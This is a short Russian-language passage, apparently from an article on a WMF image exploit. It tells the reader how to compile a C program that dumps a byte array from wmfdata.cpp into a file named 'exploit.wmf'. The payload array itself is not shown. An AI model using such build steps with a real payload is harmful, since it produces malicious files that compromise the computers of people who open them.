фрагмент файла wmfdata.cpp, хранящего готовый wmf-файл в виде массива
Добавляем в wmfdata.cpp следующие строки (см. листинг 5), меняем тип массива uchar на char (MS VC никакого uchar не поддерживает), компилируем любым ANSI-совместимым компилятором и запускаем полученный wmfdata.exe на выполнение.
#include <stdio.h>
main(){ FILE *f = fopen("exploit.wmf","wb");
fwrite(array, sizeof(array), 1, f);
}